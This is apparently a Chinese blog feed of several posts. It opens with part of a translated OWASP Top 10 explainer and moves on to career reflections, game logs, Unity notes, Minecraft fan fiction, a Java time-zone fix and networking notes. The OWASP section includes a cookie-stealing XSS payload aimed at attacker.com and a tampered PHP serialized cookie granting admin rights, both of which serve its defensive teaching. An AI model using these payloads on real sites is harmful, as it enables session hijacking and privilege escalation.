存储型 XSS: 应用或 API 将用户输入的内容不加处理,直接存储,并在之后展示给另一名用户或者管理员。存储型 XSS 通常被认为是高风险的。
DOM XSS: JavaScript 框架,单页应用,以及会动态地将攻击者的数据展示在页面上的 API 容易受到 DOM XSS 的攻击。理想情况下,应用不应该把攻击者的数据传递给不安全的 JavaScript APIs。
XSS 攻击通常包括窃取 Session,接管账号,绕过 MFA(Multi-Factor Authentication, 多因子认证),DOM 节点替换或者污染(例如插入带有木马的登录界面),使用下载恶意软件,记录键盘输入和其他客户端攻击手段来攻击用户的浏览器。
通过把不可信的数据从浏览器内容中分离出来,可以避免 XSS 攻击。相关措施:
场景 #1: 应用在构造以下 HTML 片段时不经验证/转义直接使用不可信的数据:
1 | (String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>"; |
攻击者将浏览器中的CC
参数修改为:
1 | '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'. |
这次攻击将受害者的 Session ID 发送至攻击者的网站,使得攻击者能够劫持用户的当前 Session。
注意 应用部署的自动化 CSRF(Cross-site request forgery, 跨站请求伪造) 防御都可能被 XSS 攻击给破坏掉。
译者注:
XSS 利用的是用户对指定网站的信任,而 CSRF 利用的是网站对用户浏览器的信任。应对 CSRF 攻击的防御措施可能无法处理 XSS 攻击。
评级角度 | 星级 |
---|---|
Exploitability | * |
Weakness Prevalence | ** |
Weakness Detectability | ** |
Technical Impacts | * |
不安全的反序列化通常会引出远程代码执行的问题。攻击者也可以通过这个反序列化的漏洞进行重放,注入和提权等攻击手段。
如果应用和 API 反序列化攻击者提供的恶意的或者篡改后的对象,那么他们就容易收到此类攻击。
通常会导致两种主要类型的攻击:
应用中序列化常用于:
唯一安全的架构模式是,只接受可信来源的序列化对象或是只允许基本数据类型的序列化。
如果以上方法不可行,那么考虑以下几种方法:
场景 #1: 一个 React 应用调用了一系列的 Spring Boot 微服务。作为函数式程序员,他们想让他们的代码是不可变的。他们想出来的方案是,每次请求都将用户的状态序列化并来回传递。一名攻击者注意到 R00
这个 Java 对象的特征,并使用 Java Serial Killer 工具获取到在应用服务器上远程执行代码的能力。
场景 #2: 一个 PHP 论坛使用 PHP 对象序列化来保存一个“超级” cookie,其中包含了用户的用户标识,密码哈希以及其他状态:
1 | a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; |
一名攻击者修改序列化之后的对象来获取管理员权限:
1 | a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin"; |
评级角度 | 星级 |
---|---|
Exploitability | ** |
Weakness Prevalence | * |
Weakness Detectability | ** |
Technical Impacts | ** |
像库,框架和其他软件模块这些组件,通常和应用拥有相同的运行权限。如果有一个易受攻击的组件中发现漏洞,例如攻击者可以通过漏洞造成严重的数据丢失或server takeover。使用这种包含已知漏洞的组件的应用和API也可能受到相关攻击威胁。
应该有一个 patch 的管理流程:
每个组织必须确保在应用的整个生命周期中都有在监测,检查以及应用更新或配置的修改。
场景 #1: 组件通常具有和应用自身一样的权限,所以任何组件中的漏洞都可能导致严重的后果。漏洞可能是无意的(例如 编码错误)或者是有意的(例如 组件中的后门)。可入侵的组件漏洞例子如:
有一些自动化工具可以帮助攻击者找到未修补或者未正确配置的系统。例如 the Shodan IoT 搜索引擎可以帮助你找到仍可能被 Heartbleed bug 攻击的设备,而这个漏洞在2014.4就修复了。
评级角度 | 星级 |
---|---|
Exploitability | ** |
Weakness Prevalence | * |
Weakness Detectability | * |
Technical Impacts | ** |
日志和监管不足,再加上缺少或者无效的应急处理流程,使得攻击者可以进一步攻击系统,保持更长时间的控制,攻破更多系统以及获取/破坏数据。大多数漏洞研究表明,漏洞一般是在200天之后被外部人员发现的,而不是内部流程或者监管。
经常出现日志,检查,监测和主动响应不足的问题:
如果你让用户或者攻击者能够看到日志或告警事件,那么你很有可能会遭受信息泄露的风险。(见 A3:2017- 敏感信息泄露).
针对应用存储或处理的数据风险:
应用保护框架有商业的,也有开源的,例如 OWASP AppSensor, 网络应用防火墙有如 ModSecurity 搭配 OWASP ModSecurity Core Rule Set 以及带有自定义面板和告警的日志纠正软件。
场景 #1: 一个小团队开发的开源论坛软件因此其软件自身的漏洞被黑了。攻击者成功移除了包含下一版本的内部源码仓库以及其论坛所有的内容。尽管代码可以恢复,但监测,日志或告警的缺失导致了更糟糕的入侵。这个问题的结果是,该论坛软件项目不再活跃。
场景 #2: 一名攻击者使用一个常见密码扫描所有用户。他们可以接管所有使用这一密码的账户。对于其他用户,这次扫描只会留下一次失败的登录。不久之后,攻击者可以换一个密码再重复这一过程。(译者注:而日志/监管不足的应用是无法及时发现这一现象的)
场景 #3: 据说一家 US 主要的零售商内部有一个恶意软件分析沙盒用来分析 attachments。沙盒软件已经检测到潜在的意料之外的软件,但是没有人响应这一检测结果。在外部银行发现信用卡欺诈之前,沙盒就已经在产生警告了。
]]>三月份开始参加工作,实习接近四个月,目前在新公司也有一个月了,这次来写一些相关的内容。
到目前为止,其实只参加过三次面试,一次失败,两次成功。
先说说失败的第一次吧,那家公司在高新区,去了直接带我进房间,给了我一台笔记本电脑和一张写了两道题的纸,让我四十分钟内在电脑上编程解决这两道题。
这两道题并不难,一题是找出数组B在数组A中的最大下标,另一题则是不使用类库实现大数相加。
结果是我两题都没完成,HR来的时候我没有多少什么,直接就走了,当时觉得很丢人。
事后回想起来,主要是紧张,第一次面试,连面试官的面都没见到,没有一点铺垫,直接做题,给的环境也是之前从没用过的Eclipse,这也导致自己debug时手足无措。
具体总结的经验教训:
现在想来,还是觉得这样的面试有些奇怪,单纯这样筛选,可能是为了节省面试官的时间吧,无可厚非但个人觉得不太友好。
回家复习一段时间后,又收到一个面试邀请,是一个总部在广州,技术分部在软件园的公司。提前半小时到了公司门口,给HR小姐姐打电话,后来才知道HR在广州,确实是打扰人家午休了,实在是尴尬。
进会议室和面试官谈,上来先自我介绍,大概说了自己学校专业,热爱技术,创建了自己的工作室等等。其中主要谈到了Screeps(JS编程 MMO游戏),Minecraft(Java实现)这两个引导我学习编程的游戏,大概介绍下游戏,自己做了些什么相关的开发工作。
然后就问我薪资期望了,年轻的我虽然有大概算过生活成本,但毕竟是还没完全独立生活过,加上之前一直在武汉读书,说的工资低了点,自己给自己挖了坑。
过了几天收到入职通知,考虑了下,虽然薪资不高,但毕竟是个实习机会,就入职了。
实习了几个月,觉得工作不是很有挑战性,做的都是重复的事情。不过倒是接触了挺多游戏引擎相关的事情,自学入门Unity,了解了LayaBox引擎,微信小程序等。
临转正前打开几个招聘网站上的简历,开始找公司投简历。
某天收到了软件产业基地一家公司的面试邀请,于是请了一下午的假去面试。中午吃完饭骑着共享单车就到了要面试的公司楼下,此时距离约定的面试时间还有一个多小时,又正值中午,遂到附近的咖啡厅点了杯气泡水,趴在桌子上休息了一会儿。
这次的面试相对就更正式了。三个面试官,两个在现场,一个在新加坡远程接入。
惯例先自我介绍,对着简历过了下工作经历和项目经历,然后问我觉得做技术支持怎么样,主要是和国外的CP沟通,然后反馈给开发人员。我说阅读没问题,写的话可能语法上会有点问题,可以去学习。(之前都是在看英文文章,文档,用到写作的地方其实并不多,偶尔和外国人聊天也不是很注重语法的。)
然后也是问薪资期望,这个时候没那么老实,就问面试官的公司一般是给多少,不过也没啥用,最后还是得自己说薪资期望,又问这个工资还能不能再谈。
第二天早上HR发消息说觉得我更适合技术团队,说要安排一次和技术Leader的远程面试,约在次日中午。
照常午休,然后中午在楼下和在新加坡的面试官通过微信电话聊。
惯例先自我介绍,大概说了下相关经历,面试官先了解了下我在现在公司做了些什么,为什么想着离职。
离职理由还是和现场群面一样,说是“工作没有挑战”,其实这个回答就是自己给自己挖坑了,果不其然,面试官就闻到,你觉得什么有挑战性?
我说不想做重复的事情,想做有创造性,涉及更多开发相关的工作。之后就聊到新公司正在做的和Unity合作的项目,问了些问题,问我怎么想的,一一回答。
一个小时后,HR问我最快什么时候可以入职。次日和HR周旋,在晚上七点确定了薪资,与群面时说的薪资期望相符。
和老板提了离职,一周交接,然后周一就入职新公司做之前和技术Leader聊的项目了。
有趣的是,之前的公司在腾讯旧总部附近,现在的公司在腾讯新总部附近。
当Leader让你实现一个需求时,如果觉得不好实现,不要直接说“做不了”,先想一下为什么要做这个需求,有没有其他解决方案,把更可行的解决方案提出来。
如果Leader不在公司,记得定期汇报工作进度,让Leader知道最近的工作进展,这样Leader就不需要每次都主动询问进度,可以更轻松的安排工作,规划时间。
如果要做一个提供给别人用的接口,要考虑接口参数是否必须,对于接入方来说是否容易理解。容易有疑义的地方要在文档里提前说明,最大程度上减少交付之后的沟通成本。
之前的公司每周三会约在一起去公司预定的羽毛球场地打一个半小时的羽毛球,然后去吃饭。
现在的公司在附近的健身房以公司名义办了卡,员工可以去健身,不过要是上私教课那就是另外收钱了,用用健身器材也够了。
平时还是要多锻炼,不然做程序员这行,整天坐在电脑前,什么毛病都来了。
小时候一直向往着游戏机,实际上那时只在“学习机”上玩过超级玛丽、赤色要塞等NES游戏,在街机上打过合金弹头。
工作之后,有了自己的经济收入,又想起了这事。了解到现在任天堂当世代的掌机(主机)是Switch,看了下价格,觉得刚“入门”就花这么多钱,可能不太合适,万一到手以后又发现不适合自己呢?
于是在淘宝上购入了二手95新的3DS和PSP 1000,先体验体验上面已经成熟的游戏库,再看看自己喜欢的是哪些游戏,在哪些平台上。
下面是截止目前3DS上的游戏时间统计
游戏名 | 游戏时间 | 游戏次数 |
---|---|---|
星之卡比 | 4:01 | 12 |
超级马里奥3D世界 | 3:24 | 15 |
怪物猎人XX | 1:33 | 4 |
马里奥赛车7 | 1:27 | 6 |
塞尔达传说 众神的三角力量2 | 1:24 | 5 |
逆转裁判6 | 0:48 | 2 |
其中,第一次接触的游戏系列包括轻松有趣,各种吸各种变身的星之卡比;狩猎怪物的怪物猎人XX;还有享誉世界的塞尔达传说系列。
超级马里奥兄弟则是经典了,3D世界很不错。逆转裁判是剧情向,简单玩了下,也挺有意思的。
至于PSP上玩的游戏,由于没有官方的时间统计,这里粗略写一下。
游戏好玩归好玩,但终究是之前世代的游戏机,想玩正时兴的主机游戏就只能买当前世代的主机来体验了。玩过任天堂和索尼的以上游戏后,知道了自己更喜欢任系平台上的第一方游戏,于是在五月份入手了Switch。
下面是截止目前Switch上的游戏时间统计
游戏名 | 游戏时间及评价 |
---|---|
塞尔达传说 旷野之息 | 105h 早有耳闻的神作,上手玩了真的不错,不像传统RPG的那种死板CheckList,很自由,各种谜题各种怪物都有很多种办法解决,很有意思。 |
超级马里奥 奥德赛 | 15h 马里奥箱庭世界,自由度也很不错,马里奥的招牌跳跃配合凯奇(帽子)的抛出增加了更多乐趣,收集元素越多,难度越高,死亡惩罚很低,可以放心的游玩。 |
马里奥赛车8 豪华版 | 7h 地图很多,难度从50cc到200cc,可以畅玩地图,也可以挑战自己,更可以和朋友一起游玩,道具则是增添许多乐趣。返校写完论文后,买来和同学玩的,之后也和弟弟,同事一起玩过。 |
新超级马力欧兄弟U 豪华版 | 4h 新超马,附带超级路易吉,三星过关有难度,有多个角色可以选择,其中偷天兔不受大多数伤害,适合轻度玩家。 |
超级马力欧创作家2 | 15h 之前一直在看超级小桀的马造1闯关视频,觉得很有意思,这次入了首发的马造2 + 1年会员,做过几张图,在线的难度到普通就难倒我了,目前在努力通关故事模式。 |
喷射战士2 | 5h 很新颖的射击游戏,游戏中的武器会喷出油漆,对局胜利条件是涂地比例,枪的射程都不会很远,平衡性做得还不错,即使枪法不怎么样,也可以参与涂地,为己方的胜利贡献力量。 |
马里奥网球Ace | 1h 最近会免一周,之前就玩了会免的FC游戏Tennis之后就想买这个游戏了。到手体验了觉得很喜欢,体感模式也蛮好,可以适当锻炼一下。另外,这个游戏可以说是真 格斗游戏,各种花里胡哨的技能。 |
这些游戏我都很喜欢,很对胃口。
实习时住在亲戚家,最近租了个单房,简单装饰了一下,买了生活用品就入住了,自己住还是相对要更自由一些。
这几个月看书比较少,去过几次西西弗书店,在店内看完了一本村上春树的《当我谈跑步时,我谈些什么》。
接下的日子里要继续养成阅读的习惯,持续学习。
]]>记录下实习过程中自学Unity引擎以及第三方插件相关的内容。
准备素材,配置预设,加载动画
Window->Package Manager->Install "Cinemachine" | Cinemachine->Create 2D Camera->Follow Player Transform
UNITY_EDITOR
,Android设备上会定义UNITY_ANDROID
。有时需要接入第三方SDK,如果第三方没有提供Unity包的话,就只能自己打包成插件了。
于2014年4月23日首发自Minecraft中文论坛 创作版
2014-2-23
凯一同往常地准备出门探险,运气好的时候还能够找到一些裸露在外的矿物,卖掉这些就意味着他一个星期不用担心受饿。
草草地洗漱了之后,凯到内间拿了一把掉漆严重但还能扣动扳机的步枪和一个旅行背袋,顺手从旁边的暗盒中拿出了几发弹夹,把子弹藏在暗盒里也是为了防止小偷,世道乱,什么情况都可能发生。他必须做好最坏的打算,说是内间其实就是与外面的简易居室隔了一张拉布,起到防尘的作用,避免这些本来就破旧的装备变得更加绣坏。从门口可以看到这里不只是有枪类武器,还有各式的破旧冷兵器,弓箭大刀一应俱全,这些都是凯从黑市上淘来的,价格便宜就是质量不怎么样。难免会出现走火之类的现象,不过将就一下还是够用。
皮帽和水壶是必备的物品,不知何时开始,太阳光变得强烈起来,天气也炎热起来。如果毫无遮挡的暴露在空中,虽不至死,但还是会对人的皮肤造成一定的损伤。于是和凯一样境况不好,以探险淘宝为生的探险者们都形成了出门戴帽,随身装水的习惯。
装备全身之后,凯也开始了晨跑,他每次出去之前都会围绕自制的小型跑道场跑上几千米。一开始凯甚至跑不完半程,常常因为精力耗尽都无法出去,也同时会因没有收获而挨饿,但他深知“工欲利其事,必先利其器”的道理。
久而久之,凯的身体有所改观,不再会精力耗尽了,他的耐力也变得很好,能够持久性奔跑与攀爬,效率自然更高。
呼…呼…呼…
即使跑过许多次,但每次锻炼完还是会有些气喘,不过休息一会就好。
阳光有些暗淡,现在应该是早上十点,太阳会有三个小时的正常光照时间,此时气温会有所降低,人的体能消耗也会大大降低。这也是探险者们最喜欢的“金时三刻”,大家常常也会在此时出发。
附近的林子这几天异常吃香,很多探险者都跟风前来,一时间人满为患,僧多粥少,这个时候去那根本不会有什么收获。
凯从背袋里翻出一张地图,“唉,还是换个地方好了,也不知道他们都凑到这片破林子里找些什么?”
手指在地图表面滑过,自然地略过用红色标记的地区,那是探险家们公认的人类禁区,一般定义为凶兽级别的领地。这些领地的范围都是几百年来先人用鲜血画出的禁区。
“禁区不能去,禁区周围也不行,那里风险也很大。那么排除这些地方,这张地图上只剩下东南的墨鱼湖、西北的仙人谷和正北的女巫沼泽。”凯自己想了一会,决定还是和以前一样,向北方走。
那么这次的目的地就是女巫沼泽,女巫比较罕见,这片沼泽也只是因为有人在里面看见过几只女巫,所以才定名为女巫沼泽,这样想来这个地方的危险性反倒是三个地方中最小的一个了。
路上经过一片奇异的兰草平原,凯在感到惊艳的同时也有一种难以言喻的亲切感,让人更加惊奇的是珍贵稀少的兰草如此大量地聚集在平原却没有遭到破坏。
最初发现这片平原的是一名自称“探索者”的人,他并没有私自隐瞒,而是汇报给帝国的议会,恰逢帝国与外敌交战之即,议员们都认为这是一个吉兆。决定以帝国圣地名义将兰草平原保护起来,事后果然大胜,于是帝国圣地的名义一直保留到现在,再胆大的商人都不敢贩卖这里的兰草。(为纪念那位伟大的探索者,此地又称“纳里尔平原”,意为探索者圣地。)
凯的步子不大,但步频很快。不过临到傍晚,还是没能走出平原。
这边并没有什么大树可以给他靠着休息,但凯平日也并不挑剔这些,不然以他的能力早就能够买些好材料来做屋子,而不是去收集武器了。他仰天躺下,以天为被,以地为床,也不在乎,就这样进入了睡梦……
黯从睡梦中苏醒,没有多的动作,他伸展身体放出了双翼,随着双翼摆动飞上了天空。冷漠地看了看脚下大地,黯突然感觉有些烦躁,这种讨厌的人类情感最近总是影响着他的力量,导致他的能力也被削弱。虽然这种变化非常微弱,微弱的难以察觉,但极度崇尚力量的他却感觉不能忍受。即使,只是附上了一些光明的气息。
他讨厌光明,讨厌一切光明属性的粒子,这种粒子让他觉得不舒服,他迫切的想要远离这些粒子。但现在他发现这种粒子竟然不知不觉的侵入了他的身体!不能忍受,黯的双翼有些不平衡,这是失控的前召。
他突然咆哮起来,声音震动天地,地面被震碎成无数块。
破坏!破坏一切能够破坏的东西!去吧,你生来就是为了毁灭!
黯想要继续破坏,却发现东方传来一阵光芒,照在他的身上,如同火把点燃雪地,他的双翼开始融化。
他被迫降落在地上,“不!不要!”双翼完全融化成粒子形态,他的灵魂因此再次陷入了沉睡之中…
We can only live in the night,sunshine will kill us every morning……
2014-2-26
“索亚西纳东…雅个依打嘟…”
伴随太阳升起,生物钟响起的某人吆喝着那无人知其意的起床歌,惨不忍闻的歌声飘在空中,久久…
好的,又是一天开始,某人边哼歌边赶路,终于在到达沼泽区时停了下来,传说中这里的女巫善用药水。无论是对敌的攻击与削弱性药水还是护体地防御与增益性药水都运用到如火纯青的地步,这样的怪物即使没有亲见,也会让人的内心产生一种小小的惊慌。
不过,眼前的情景却是让人无论如何都无法平静。
女巫沼泽,并不是全部由沼泽组成,必要的树木也是存在不少的。眼前的一幕却是让人想起酸雨过后的树林,所有树木的叶子都消失不见,枝桠弯曲耷拉在残缺的树干上。绿色树林此刻形同枯骨林,空气中充斥着难闻的药味和稀薄得难以辨识的火药味。
火药?已知生物里只有人类能够运用这种特殊的“沙子”。看来这里发生过冲突,虽然药水味很明显,但人类也会运用,所以还不能确定是女巫攻击人类。
不管怎么说,这次来就是为了冒险,即使是眼前的景象也不能阻挡他向前探索。
祭坛?几十米开外是一座用木桩修建而成的简易平台,上面竖着几个十字架,似乎还有一个人被绑在上面昏迷不醒。
凯的脸色一变,这种活人祭祀…
是flesh!那群狂热的血之信仰者!也只有那群狂热的信徒敢以活人祭祀,尽管因此被所有人类城市通缉,但也许他们并不在乎,他们对血的狂热已经让他们变成嗜血的异族。
凯小心翼翼的靠近祭坛,确保周围没有flesh族的陷阱后才上前解开捆住男子的绳子,并叫醒了他。
男子挣扎着苏醒过来,双眼无神,好像是被催眠了,这是那群人惯用的手法,用昏睡药水使被献祭者失去知觉,进而实施他们残忍的活人血祭…
2014-3-2
眼下这种情况,凯唯一能做的就是拿出背袋中的草药,那包不知什么功效的草药是一种药水的粗制原料,自然也是凯淘到的。不过效果也出奇得好,那人的眼中慢慢恢复了清明。
“你还好吗?”
刚苏醒过来,就听见询问,风知道是眼前这人救了自己,扭动关节活动了一下,“还行,没什么大碍。”
眼前的人却一脸茫然,难道是自己的语言不对?Huh…天上只有一颗太阳,那么这里应该是Minecraft大陆,而自己刚才用得是精灵语,好像是错了。
很快回忆起这种语言,风再次重复了刚才那句话,这次对方懂了,从他背后的背袋拿出了一瓶水递给他。从他这个角度很清楚的看到对方并没有多余的储备,也就是喝一瓶少一瓶,虽说河水也能喝,不过河中的墨鱼也不好惹。想到这里,风有些感动,摆了摆手示意自己不需要。
凯这时却郁闷了,心想这人究竟什么来路,之前说得竟不是通用语言,而是带着古音的异族语言,沦落到这种地步竟然还不接水,还说自己不需要?
面前的人却没有在意,只是原地跳跃几下,随后消失在空气中,凯只感觉到一阵风刮过,那人就不见了?!
一分钟后,那人如同消失时一样,带着风出现。手里已经拿着一袋东西,“我家里有,你那瓶水还是留着自己喝吧。”
凯目瞪口呆,“你家在哪?”
“仙人谷”
“你是说你刚才回了仙人谷的家,然后带来这一袋东西?”你那是瞬间移动么,五百里地就这样一分钟一个来回,太逆天了。
“是的,不过不是那种乱七八糟的小说中的法术,这是我单纯的速度。对了,我的名字是风。”
“我的名字是凯。”好吧,那你是怎么被抓的…
风这种身体的速度十分惊人,缺点也十分明显,就是需要在太阳的正午照射下滋养身体才能使用一次。
那个自称凯的恩人似乎对自己被抓的事实有些疑问,“其实我的能力有一定的限制,但是不方便告诉你。”
看着凯突然的笑容笑,风却感到莫名其妙,有什么好笑的吗?
2014-3-5
没有什么,只是觉得庆幸。”凯给自己灌了一瓶水,不是他浪费,而是高温加快他体液的蒸发,不及时补充水分是很难应对接下来可能发生的对抗。他只是觉得这件事有些不对,为什么这么轻易就救下了这样一位具有特殊能力的男人却没有任何事情发生?那空气中的气味究竟是怎么一回事
[风]
风没有接过话题,只是心中了然,他竟是因为我能力的限制而安心?
真是一个奇怪的人,应该早点离开这个地方。
“凯?我还有事要做,这里有一些钱你就拿去用吧,也算报你救命之恩。”凯点头答应,风心中却更加疑惑,他为什么毫不推脱?
不过,这不是自己应该管的事情,还是早些离开为好。
风装做不在意的样子,走到另一个方向径直离开。
/w\
临城的药水店倍受推崇,应该也有些出色之处。想我大难不死,必有后福,不如去那名店看看有什么好东西
[凯]
理所当然地收下风给他的一些钱,既然他要为救命之恩报以金钱,自己也不是熟人,为什么要推脱做作呢?
看着那个风从另一个方向离开,凯就明白他是要故意走反方向,目的是要远离自己。
/w\
可是,我有什么可怕的呢?
收拾带上武器,我也应该出发了。如果能够亲眼看到女巫也是一个机遇,或许能是一个吹嘘的好材料,让他们也知道我是一个有见识的人。
[黯]
光是这世界中的唯一元素,不是通常意义上的光,这里的光能量纯度非常高,精纯的光能量堆积在一处的结果就是——能量实体化。
中心光柱连接天地,八条巨大的链条以光柱为中心向界境的八点延伸出去,镇压着基岩——确切的说,是那只困在基岩层中心的恐怖人形怪物。
它的每次挣扎与嘶吼都对整个光界产生了巨大地伤害,基岩层都几近粉碎,但每次到了临界点时,中心光柱
射出的实体能量就会集中修复,使得怪物的破坏恢复如初
2014-3-16
[提要]
自上次沼泽之别,风、凯二人各奔东西。一个心中渴望探索事物,一个不拘泥于一地,心思相近却一时之志不同。探索与周游,这两个多有关联的方向注定二人终将再遇,只是不知何时。
[风] 去往临城对于常人来说,意味着路途远,耗费时间长。但对风来说,只是休息一晚的时间。等到第二日,正午赶路下午便能够到达城郊,不得不说,有时速度奇快也是一种优势。
临城不大,并非主城。本是由附近十几个村落聚集交易之所,一次村落联盟的会议改变了这个局面。
村长们一致通过合组建城的决议,随后的一百年里,人们建起了最初的“君临座”,曾经是大陆里能够排上榜的大城。
不过好景不长,名传大陆的君临座也难逃三百年前的浩劫,那场浩劫并不是怪物军团入侵,而是突如其来的瘟疫。如同附骨之龃的疫情极难治愈,没有人能够抵抗,这不是实打实的兽灾,即使是帝国当时最好的白衣也无能为力。
天知道那场瘟疫因何而起,只知道它杀死了数以百万记的大陆生物,生灵涂炭。幸好瘟疫只持续了一个星期就无声无息的消失,仍挣扎没有死去的人们才得以喘息。
君临座作为那场天灾中的重灾区,因此遭到毁灭性的打击,空有城池而没有居民。
君临座的遗民为纪念先人,在此地重建临城,因为城中军队不足,只能寄居人下,成为副城。
风每每想到临城的历史都情不自禁的叹息一声,现在终于能够亲眼看到临城,心中自然喜悦。
嗒嗒嗒…嗒嗒…
这是?好像是吊桥的铁索机关启动的声音?
不好!到了收起吊桥关闭城门的时间了,得赶快进去。
风趁着能力还未完全消失,一个闪身钻进了正在关闭的城门。
他能否骗过守门的卫兵而成功混入临城呢?
[凯]
呜…呜呜
诡异的哭声从四周飘来,阴冷的怪风在这里逗留。
凯打了个寒颤,从背袋里摸出一颗指甲大小的药丸看都不看直接含在口中。
呼…
身体的热量不再散失在空气中,药力在体表形成了一层薄膜,阻止了阴风的侵袭,同时也能够防止热量的散失。
〔这是什么鬼地方,怎么阴气这么重?〕
看来是有什么不妙的事发生了,果然凯在不远处发现了几颗鲜血淋淋的头颅挂在树枝上。
眼球几近突出的眼睛直盯着天空的方向,面部肌肉纠结在一起,死前定是看到了极其恐怖之物。
〔女巫以药水出名,看这样子却不像毒药致死,难道凶手另有其人?〕
〔死者的眼睛都死盯着天空,莫非是凶手来自天上?〕
从死者的位置望向天空,凯却是看到了与平常不一样的天空。
走出那地再望却是无异于平日里见的天空,看来死者并不是看向天上,而是看到那其中的事物而惊吓致死。
究竟是什么东西如此残忍地杀死人类?这里的阴气又是从何而来的?
2014-3-16
风在地上打个滚,借机藏进了城门背后的一个小巷子里。
(为什么我对这里的地形这么熟悉?难道我曾经来过这里吗?不对,我的记忆里可没有这一段经历,一定是巧合。)
“文森,太阳下山了,我们去喝一杯?听说城东新开的外陆饮料店人气很高,说是店主从外陆引进了咖啡。”
“咖啡,卢卓你喝过吗?你不是说你曾游历外陆一年多,尝尽美味吗?给我们说说。”似乎是领头的队长开口,巡逻队里的队员们都起哄,让那队长口中的卢卓说说咖啡。
“咖啡是由外陆的专业作物—-咖啡豆作为原料,磨制成粉、用热水冲泡而成的饮品。它味苦,却有一种特殊的香气,是外陆人的主要饮料之一。原产于外陆的费若区,如今在我们这里也有人引入栽培,其种子称“咖啡豆”,炒熟研粉可作饮料,即外陆人口中的‘咖啡’。”面带铁甲的一名魁梧武士边走边说,脱口而出的话语却如同拥有魔力一般,这些从未品尝过这神奇饮料的队员只吞口水,眼神炽热的望着那名武士。
“别看了,我们直接去那店里喝上几大杯不就好了?”旁边有人看不过去了,提醒众人。却是队长带头,直向城东而去。
呼,城东?咖啡这种东西我虽喝过,却也只是粗略的喝了几口,当时行事匆忙,不如便随他们去城东看看,顺便打听一下药剂师的所在。
尽管到了晚上,临城却仍是处处灯火,一副繁华景象。随处可见叫卖自家特产的小贩,路上的行人也不再如同白天那样行色匆匆,或结伴同行,或独自一人,互相说起一日之事,也是十分和谐的景象。
风也在这里感觉到了浓郁的生机,暂时忘却一日前被绑,险些丧命的不快经历,慢慢融入了这座城市,体会这座城市。
到了。那刚才所见的巡逻队停在了一家打着“咖啡专营,独家售卖”的招牌的店面前,那个队长模样的男人脱下面甲,露出冷峻的面容,却是与之前风心中所想一致。他从口袋中拿出一个包裹,沉甸甸地,在里面翻出几块金锭,就把那钱袋模样的包裹给了之前介绍咖啡的外陆游离着“卢卓”。似是交代完什么,队员们嘟囔了一会,走进了店面,队长则是重新带上了面甲,朝着城中走去。
应该是去汇报今天的巡查情况吧,风这样想到。不过刚才的情形却让他苦恼了起来,他可没有这么多钱,看那队长随便翻出几块金锭,想必那包裹中定是装满了金锭,莫非是咖啡在这里很稀有,奇货可居,坐地起价?
他摸了摸自己干瘪的口袋,掏出一把金粒,苦笑着摇了摇头,看来这咖啡是吃不起了。。。
]]>在某群看到有人提了一个时间戳与时区时间转换的问题,当时就看出他的计算方式有问题,但是对相关概念有些模糊,今天想起来就整理了一下这个问题。
1 | Instant instantPlusEightHours = Instant.now().plus(8, ChronoUnit.HOURS); |
可以看出他想将时间戳转换为对应UTC+8时区的时间,但这里他犯了一个概念性的错误。
Unix时间戳是从
UTC时间 1970年1月1日 00:00
开始所经过的秒数,不考虑闰秒。
协调世界时(英语:Coordinated Universal Time,法语:Temps Universel Coordonné,简称UTC)是最主要的世界时间标准,其以原子时秒长为基础,在时刻上尽量接近于格林尼治标准时间。
协调世界时是世界上调节时钟和时间的主要时间标准。
在时间轴的某一时刻,不管处于哪个时区,Unix时间戳是相同的。(见Unix时间戳的定义)
所以这个程序的错误就是通过加减时间戳来得到对应不同时区的时间,修改了时间戳就不再是对原来的时刻进行计算了,这里给时间戳加上8小时,从输出结果来看,显示的时间是对的,但时间戳是变化了的。
我们可以加一句输出来查看这个变化后的时刻实际对应UTC+8时区的时间是什么:
1 | System.out.println("UTC+8实际时间: " + instantPlusEightHours.atZone(ZoneId.of("UTC+8"))); |
可以看到,最终导致的结果是,这个时间快了8个小时,是错误的。
1 | Instant now = Instant.now(); |
通过ZonedDateTime来计算,实际是先将时间戳转换为UTC标准时间,之后做对应时区的偏移。
]]>运输层的两个关键功能:
运输层为运行在不同主机上的进程提供了逻辑通信。
因特网网络层协议有一个名字叫IP,即网际协议。IP为主机之间提供了逻辑通信。IP的服务模型是 尽力而为交付服务 。这意味着IP尽它“最大的努力”在通信的主机之间交付报文段,但它并不做任何确保。特别是,它不确保报文段的交付,不保证报文段的按序交付,不保证报文段中数据的完整性。由于这些原因,IP被称为 不可靠服务 。
一个进程(作为网络应用的一部分)有一个或多个 套接字(socket) ,它相当于网络向进程传递数据和从进程向网络传递数据的门户。
那么接收主机是怎样将一个到达的运输层报文段定向到适当的套接字的呢?
每个运输层报文段中具有几个字段(源端口、目的端口),在接收端,运输层检查这些字段,标识出接收套接字,进而将报文段定向到该套接字。将运输层报文段中的数据交付到正确的套接字的工作成为 多路分解 。
在源主机从不同套接字中收集数据块,并为每个数据块封装上首部信息(这将在以后用于分解)从而生成报文段,然后将报文段传递到网络层,所有这些工作称为 多路复用 。
DNS是一个通常使用UDP的应用层协议的例子。
UDP相较TCP的优势:
应用 | 应用层协议 | 下面的运输协议 |
---|---|---|
电子邮件 | SMTP | TCP |
远程终端访问 | Telnet | TCP |
Web | HTTP | TCP |
文件传输 | FTP | TCP |
远程文件服务器 | NFS | 通常UDP |
流式多媒体 | 通常专用 | UDP或TCP |
因特网电话 | 通常专用 | UDP或TCP |
网络管理 | SNMP | 通常UDP |
路由选择协议 | RIP | 通常UDP |
名字转换 | DNS | 通常UDP |
0 7 8 15 16 23 24 31 +--------|--------|--------|--------+ | Source | Destination | | Port | Port | +--------|--------|--------|--------+ | | | | Length | Checksum | +--------|--------|--------|--------+ | | data octets ... +---------------- ... User Datagram Header Format
可靠数据传输协议(reliable data transfer protocol, rdt)
晚点补上协议改进之中涉及到的状态机的图
接下来,我们将一步步地研究一系列协议,它们一个比一个更为复杂,最后得到一个无错、可靠的数据传输协议。
这一阶段,我们假设数据经完全可靠信道进行数据传输,因为 完全可靠 ,所以这个协议不需要定义任何内容,我们称其为 rdt 1.0 。
如果数据通过信道传输时,可能发生比特差错,那么我们可以在协议中定义哪些内容来完成这一阶段的可靠数据传输呢?
